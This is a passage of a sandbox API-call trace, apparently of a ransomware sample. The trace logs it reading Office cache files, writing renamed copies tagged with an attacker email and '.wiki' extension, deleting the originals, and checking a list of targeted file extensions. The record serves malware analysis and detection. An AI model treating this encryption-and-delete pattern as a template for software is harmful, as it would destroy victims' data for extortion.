hFile=0x170, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x545, lpOverlapped=0x0) returned 1 [0045.649] WriteFile (in: hFile=0x184, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x550, lpOverlapped=0x0) returned 1 [0045.650] ReadFile (in: hFile=0x170, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.650] WriteFile (in: hFile=0x184, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xee, lpOverlapped=0x0) returned 1 [0045.650] SetEndOfFile (hFile=0x184) returned 1 [0045.650] CloseHandle (hObject=0x184) returned 1 [0045.650] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.650] SetEndOfFile (hFile=0x170) returned 1 [0045.651] CloseHandle (hObject=0x170) returned 1 [0045.651] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0045.652] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 1 [0045.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0045.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0045.652] lstrlenW (lpString=".doc") returned 4 [0045.652] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.652] lstrlenW (lpString=".docx") returned 5 [0045.652] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0045.652] lstrlenW (lpString=".pdf") returned 4 [0045.652] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.652] lstrlenW (lpString=".xls") returned 4 [0045.652] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.652] lstrlenW (lpString=".xlsx") returned 5 [0045.652] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0045.652] lstrlenW (lpString=".ppt") returned 4 [0045.652] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0045.652] lstrlenW (lpString=".zip") returned 4 [0045.652] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.652] lstrlenW (lpString=".rar") returned 4 [0045.652] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.652] lstrlenW (lpString=".bz2") returned 4 [0045.652] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.652] lstrlenW (lpString=".7z") returned 3 [0045.652] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0045.652] lstrlenW (lpString=".dbf") returned 4 [0045.652] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0045.652] lstrlenW (lpString=".1cd") returned 4 [0045.653] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.653] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0045.653] lstrlenW (lpString=".jpg") returned 4 [0045.653] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.653] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0045.653] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0045.653] lstrlenW (lpString=".doc") returned 4 [0045.653] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.653] lstrlenW (lpString=".docx") returned 5 [0045.653] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0045.653] lstrlenW (lpString=".pdf") returned 4 [0045.653] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.653] lstrlenW (lpString=".xls") returned 4 [0045.653] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.653] lstrlenW (lpString=".xlsx") returned 5 [0045.653] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0045.653] lstrlenW (lpString=".ppt") returned 4 [0045.653] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.653] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0045.653] lstrlenW (lpString=".zip") returned 4 [0045.653] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.653] lstrlenW (lpString=".rar") returned 4 [0045.653] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.653] lstrlenW (lpString=".bz2") returned 4 [0045.653] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.653] lstrlenW (lpString=".7z") returned 3 [0045.653] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.653] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0045.653] lstrlenW (lpString=".dbf") returned 4 [0045.653] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.653] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0045.653] lstrlenW (lpString=".1cd") returned 4 [0045.653] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.653] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0045.653] lstrlenW (lpString=".jpg") returned 4 [0045.654] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.654] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0045.654] lstrlenW (lpString="AccessMUISet.xml") returned 16 [0045.654] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0045.654] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=819) returned 1 [0045.654] CloseHandle (hObject=0x170) returned 1 [0045.654] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 0x2020 [0045.654] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0045.654] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0045.654] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.654] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.654] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0045.655] GetLastError () returned 0x0 [0045.655] ReadFile (in: hFile=0x170, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x333, lpOverlapped=0x0) returned 1 [0045.656] WriteFile (in: hFile=0x184, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x340, lpOverlapped=0x0) returned 1 [0045.657] ReadFile (in: hFile=0x170, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.657] WriteFile (in: hFile=0x184, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0045.657] SetEndOfFile (hFile=0x184) returned 1 [0045.657] CloseHandle (hObject=0x184) returned 1 [0045.658] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.658] SetEndOfFile (hFile=0x170) returned 1 [0045.658] CloseHandle (hObject=0x170) returned 1 [0045.659] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0045.659] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 1 [0045.659] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0045.659] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0045.659] lstrlenW (lpString=".doc") returned 4 [0045.659] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.659] lstrlenW (lpString=".docx") returned 5 [0045.659] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0045.659] lstrlenW (lpString=".pdf") returned 4 [0045.659] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.659] lstrlenW (lpString=".xls") returned 4 [0045.659] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.659] lstrlenW (lpString=".xlsx") returned 5 [0045.659] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0045.659] lstrlenW (lpString=".ppt") returned 4 [0045.659] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.659] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0045.659] lstrlenW (lpString=".zip") returned 4 [0045.659] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.659] lstrlenW (lpString=".rar") returned 4 [0045.659] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.660] lstrlenW (lpString=".bz2") returned 4 [0045.660] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.660] lstrlenW (lpString=".7z") returned 3 [0045.660] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0045.660] lstrlenW (lpString=".dbf") returned 4 [0045.660] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0045.660] lstrlenW (lpString=".1cd") returned 4 [0045.660] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0045.660] lstrlenW (lpString=".jpg") returned 4 [0045.660] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0045.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0045.660] lstrlenW (lpString=".doc") returned 4 [0045.660] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.660] lstrlenW (lpString=".docx") returned 5 [0045.660] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0045.660] lstrlenW (lpString=".pdf") returned 4 [0045.660] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.660] lstrlenW (lpString=".xls") returned 4 [0045.660] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.660] lstrlenW (lpString=".xlsx") returned 5 [0045.660] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0045.660] lstrlenW (lpString=".ppt") returned 4 [0045.660] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0045.660] lstrlenW (lpString=".zip") returned 4 [0045.660] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.660] lstrlenW (lpString=".rar") returned 4 [0045.660] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.660] lstrlenW (lpString=".bz2") returned 4 [0045.660] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.660] lstrlenW (lpString=".7z") returned 3 [0045.661] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0045.661] lstrlenW (lpString=".dbf") returned 4 [0045.661] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0045.661] lstrlenW (lpString=".1cd") returned 4 [0045.661] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0045.661] lstrlenW (lpString=".jpg") returned 4 [0045.661] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.661] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0045.661] lstrlenW (lpString="Setup.xml") returned 9 [0045.661] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0045.661] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=2624) returned 1 [0045.661] CloseHandle (hObject=0x170) returned 1 [0045.661] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0045.661] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0045.661] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0045.662] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.662] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.662] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0045.662] GetLastError () returned 0x0 [0045.662] ReadFile (in: hFile=0x170, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0xa40, lpOverlapped=0x0) returned 1 [0045.663] WriteFile (in: hFile=0x184, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0045.664] ReadFile (in: hFile=0x170, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.664] WriteFile (in: hFile=0x184, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.664] SetEndOfFile (hFile=0x184) returned 1 [0045.665] CloseHandle (hObject=0x184) returned 1 [0045.665] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.665] SetEndOfFile (hFile=0x170) returned 1 [0045.666] CloseHandle (hObject=0x170) returned 1 [0045.666] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0045.666] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0045.667] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.667] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.667] lstrlenW (lpString=".doc") returned 4 [0045.667] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.667] lstrlenW (lpString=".docx") returned 5 [0045.667] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0045.667] lstrlenW (lpString=".pdf") returned 4 [0045.667] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.667] lstrlenW (lpString=".xls") returned 4 [0045.667] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.667] lstrlenW (lpString=".xlsx") returned 5 [0045.667] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0045.667] lstrlenW (lpString=".ppt") returned 4 [0045.667] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.667] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.667] lstrlenW (lpString=".zip") returned 4 [0045.667] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.667] lstrlenW (lpString=".rar") returned 4 [0045.667] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.667] lstrlenW (lpString=".bz2") returned 4 [0045.667] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.667] lstrlenW (lpString=".7z") returned 3 [0045.667] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.667] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.667] lstrlenW (lpString=".dbf") returned 4 [0045.667] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.667] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.667] lstrlenW (lpString=".1cd") returned 4 [0045.667] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.667] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.667] lstrlenW (lpString=".jpg") returned 4 [0045.667] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.667] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.667] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.668] lstrlenW (lpString=".doc") returned 4 [0045.668] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.668] lstrlenW (lpString=".docx") returned 5 [0045.668] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0045.668] lstrlenW (lpString=".pdf") returned 4 [0045.668] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.668] lstrlenW (lpString=".xls") returned 4 [0045.668] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.668] lstrlenW (lpString=".xlsx") returned 5 [0045.668] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0045.668] lstrlenW (lpString=".ppt") returned 4 [0045.668] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.668] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.668] lstrlenW (lpString=".zip") returned 4 [0045.668] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.668] lstrlenW (lpString=".rar") returned 4 [0045.668] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.668] lstrlenW (lpString=".bz2") returned 4 [0045.668] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.668] lstrlenW (lpString=".7z") returned 3 [0045.668] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.668] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.668] lstrlenW (lpString=".dbf") returned 4 [0045.668] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.668] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.668] lstrlenW (lpString=".1cd") returned 4 [0045.668] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.668] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.668] lstrlenW (lpString=".jpg") returned 4 [0045.668] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.668] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0045.669] lstrlenW (lpString="Office32WW.xml") returned 14 [0045.669] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0046.145] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=4274) returned 1 [0046.145] CloseHandle (hObject=0x1b0) returned 1 [0046.146] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0046.146] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0046.146] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0046.146] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.146] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.146] CreateFileW (lpFileName="C:\\MSOCache\\All 